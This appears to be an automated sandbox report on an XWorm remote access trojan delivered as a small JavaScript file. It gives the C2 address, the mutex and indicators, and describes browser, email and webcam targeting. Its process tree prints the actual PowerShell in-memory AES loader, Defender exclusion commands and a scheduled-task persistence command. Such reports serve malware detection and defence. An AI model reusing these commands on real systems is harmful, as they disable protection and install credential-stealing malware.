Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/10/2026, 15:01

General

  • Target
    MB325992641AE.js
  • Size 498B
  • Sample261009-sd3p4sas2y
  • SHA256 ea82130e3e378485534424ad42626003dd96189ae043c763e1502383f59de83a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 84.38.133.22:1012

Mutex
  • SfqhTh3ld4Uyy1Rg

Attributes
  • Install_directory

    %AppData%

  • install_file

    bin.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • System Binary Proxy Execution: Regsvcs/Regasm 1 TTPs 3 IoCs

    Abuse Regasm to proxy execution of malicious code.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\MB325992641AE.js
    1⤵
    • Badlisted process makes network request
    • Reads the TCP/IP host and domain name from the registry
    PID:1840
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$inhable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$exhereditation=[Text.Encoding]::UTF8.GetBytes('SuaChaveAqui32BytesExemplo123456');$channidae=[Text.Encoding]::UTF8.GetBytes('1234567890123456');$pessulus=[Convert]::FromBase64String($inhable);$tuchun=[Security.Cryptography.Aes]::Create();$tuchun.Key=$exhereditation;$tuchun.IV=$channidae;$ephthianura=$tuchun.CreateDecryptor();$broadenings=$ephthianura.TransformFinalBlock($pessulus,0,$pessulus.Length);[AppDomain]::CurrentDomain.Load($broadenings)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('OODv4qbhZtFIF6dJ+VGNMLZCVD9ZS7iJ90WOSbQl6S9SSZuKe0b3jWo3BdR7RGg2HugABGK1WcwsvU9z8MqAFw==','','hx5iS/zkENu5XFfbeUifJGAFgEicHqsy6VTaYYTPqTVI2IbGLZwNYSzAgNyIY9M5','oLEyljNs2nNiy9RGr4kuR4UyuOtr6guPjEy6mwBxEVA=','FDECw4WbZOg9cP5ZOR32VTKXpQTYMdQrwYvQO8fGEYk=','','7YqeAubt2QKVnrmM0eMIw/p7hN2Ne0T06+Bu8l12Q+s=','','C+YjHKVmcFQ+UH3K0oTWdeaW+yjzl2leDs4JJeYwtcE=','77zmUCJmSjZeJf0BdeZDY8zvznc2vmKw7Y7TehPemDkpfdKE2GR/a14SveatrHss','omeS8prpQk6iMv3NDSLauz3T7HPpcTszAlN09SGe2qA=','8HwjFbfEiq9Q2GN592VtFSKrmXhHdP59pqspX2ClvTo=','AO5dAnfr0twO7UcKRuqohZ2RIIwFypjbmvVF7VEQEuA=','','NSzrXr5qk2+k8bQI0K2wf7I1KAp0QDggbdcMcJMW0S8=','gD2yahx5L8oKT5kzVHzCEu7ARruFcss8by3BcuUXXHQ=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • System Binary Proxy Execution: Regsvcs/Regasm
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4056
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • System Binary Proxy Execution: Regsvcs/Regasm
      • Creates a file in the Startup directory
      • Accesses Microsoft Outlook profiles
      • Adds Run key to start application
      • Enumerates video capture drivers
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • outlook_office_path
      • outlook_win_path
      PID:4296
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1592
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegAsm.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5812
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\bin.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4748
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'bin.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:6020
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "bin" /tr "C:\Users\Admin\AppData\Roaming\bin.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:4780
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\RegAsm.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_26738a6067124042b3f2a42babd9a065.cs"
        3⤵
        • System Binary Proxy Execution: Regsvcs/Regasm
        • Suspicious use of WriteProcessMemory
        PID:2968
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8E28.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9105816C1593458590C54BCC9D6BE76.TMP"
          4⤵
            PID:2888
        • C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
          "C:\Users\Admin\AppData\Local\Temp\RegAsm.exe" 4296
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:3848
    • C:\Users\Admin\AppData\Roaming\bin.exe
      C:\Users\Admin\AppData\Roaming\bin.exe
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4372
    • C:\Users\Admin\AppData\Roaming\bin.exe
      "C:\Users\Admin\AppData\Roaming\bin.exe"
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:6048
    • C:\Users\Admin\AppData\Roaming\bin.exe
      "C:\Users\Admin\AppData\Roaming\bin.exe"
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3188

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 42ab7590736b5fb15dcb308682d45911e61dc638bfd3a24ef76fb9416ec96ebe
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 21KB
          • SHA256 e6185863af115841c1270cfb9f37d2e2d420450361098890be4bc03fa4c1c9d2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 21KB
          • SHA256 ce60ee39010039b3f6329035e769cd0b6e4909dfbf5402e6bf550158a23967fc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 21KB
          • SHA256 3a0ef04ea22091b647c2d8a75606fc79e5c4d25c835687dd01a61a346d65b1bc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          RES8E28.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES8E28.tmp
          • Size 1KB
          • SHA256 d2d33cc97f7581d16aa91f59d1b9cf09556ef77114e3322e74f9089f0cb7fd0b
          • MD5 SHA1 SHA512 TLSH

          RegAsm.exe

          • Path C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
          • Size 5KB
          • SHA256 1a93b9de845ef5369eb32efa1c5712e0e4f4b7aa1bc6721ec0084ac890edce3f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_gtbcjplm.a5f.psm1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gtbcjplm.a5f.psm1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          bin.exe

          • Path C:\Users\Admin\AppData\Roaming\bin.exe
          • Size 57KB
          • SHA256 613b37387daf3698df4a8baf6e4350473ebc3f23682d368221cd8dea9de2fb63
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CSC9105816C1593458590C54BCC9D6BE76.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC9105816C1593458590C54BCC9D6BE76.TMP
          • Size 1KB
          • SHA256 bd34fc804bcc189e1fd1b627b7285791b619377024dedd44186a5b1ad672befa
          • MD5 SHA1 SHA512 TLSH

          guardian_src_26738a6067124042b3f2a42babd9a065.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_26738a6067124042b3f2a42babd9a065.cs
          • Size 4KB
          • SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1592-36-0x00000000081B0000-0x000000000882C000-memory.dmp

          memory/1592-29-0x0000000006A50000-0x0000000006A9C000-memory.dmp

          memory/1592-39-0x0000000007DE0000-0x0000000007E76000-memory.dmp

          memory/1592-38-0x0000000007BE0000-0x0000000007BEA000-memory.dmp

          memory/1592-37-0x0000000007B70000-0x0000000007B8A000-memory.dmp

          memory/1592-35-0x0000000007A50000-0x0000000007AF3000-memory.dmp

          memory/1592-19-0x0000000005530000-0x0000000005566000-memory.dmp

          memory/1592-20-0x0000000005BF0000-0x000000000623A000-memory.dmp

          memory/1592-21-0x00000000063C0000-0x00000000063E2000-memory.dmp

          memory/1592-22-0x0000000006460000-0x00000000064C6000-memory.dmp

          memory/1592-34-0x0000000006FF0000-0x0000000007010000-memory.dmp

          memory/1592-23-0x00000000064D0000-0x0000000006536000-memory.dmp

          memory/1592-26-0x0000000006680000-0x00000000069DB000-memory.dmp

          memory/1592-31-0x0000000070830000-0x000000007087C000-memory.dmp

          memory/1592-28-0x0000000006A20000-0x0000000006A3E000-memory.dmp

          memory/1592-30-0x0000000007A10000-0x0000000007A46000-memory.dmp

          memory/3848-86-0x0000000000CD0000-0x0000000000CD8000-memory.dmp

          memory/4056-16-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp

          memory/4056-11-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp

          memory/4056-12-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp

          memory/4056-9-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp

          memory/4056-10-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp

          memory/4056-13-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp

          memory/4056-0-0x00007FFDCD7AF000-0x00007FFDCD7B0000-memory.dmp

          memory/4056-8-0x000001C26F840000-0x000001C26F864000-memory.dmp

          memory/4056-7-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp

          memory/4056-6-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp

          memory/4056-5-0x000001C26F7D0000-0x000001C26F7F2000-memory.dmp

          memory/4056-2-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp

          memory/4056-1-0x00007FFDCD620000-0x00007FFDCDFC4000-memory.dmp

          memory/4296-14-0x0000000000400000-0x0000000000410000-memory.dmp

          memory/4296-75-0x0000000008190000-0x0000000008198000-memory.dmp

          memory/4296-87-0x00000000090A0000-0x0000000009262000-memory.dmp

          memory/4296-17-0x0000000074DE2000-0x0000000074DE3000-memory.dmp

          memory/4296-72-0x0000000008070000-0x0000000008102000-memory.dmp

          memory/4296-73-0x00000000086D0000-0x0000000008C8A000-memory.dmp

          memory/4296-74-0x0000000008110000-0x000000000818C000-memory.dmp

          memory/4296-18-0x0000000005E80000-0x0000000005F1C000-memory.dmp

          memory/4296-54-0x0000000074DE2000-0x0000000074DE3000-memory.dmp

          memory/4372-70-0x0000000000750000-0x0000000000762000-memory.dmp

          memory/4748-51-0x0000000070830000-0x000000007087C000-memory.dmp

          memory/5812-44-0x0000000070830000-0x000000007087C000-memory.dmp

          memory/6020-60-0x0000000070830000-0x000000007087C000-memory.dmp

          memory/6020-58-0x0000000005AA0000-0x0000000005DFB000-memory.dmp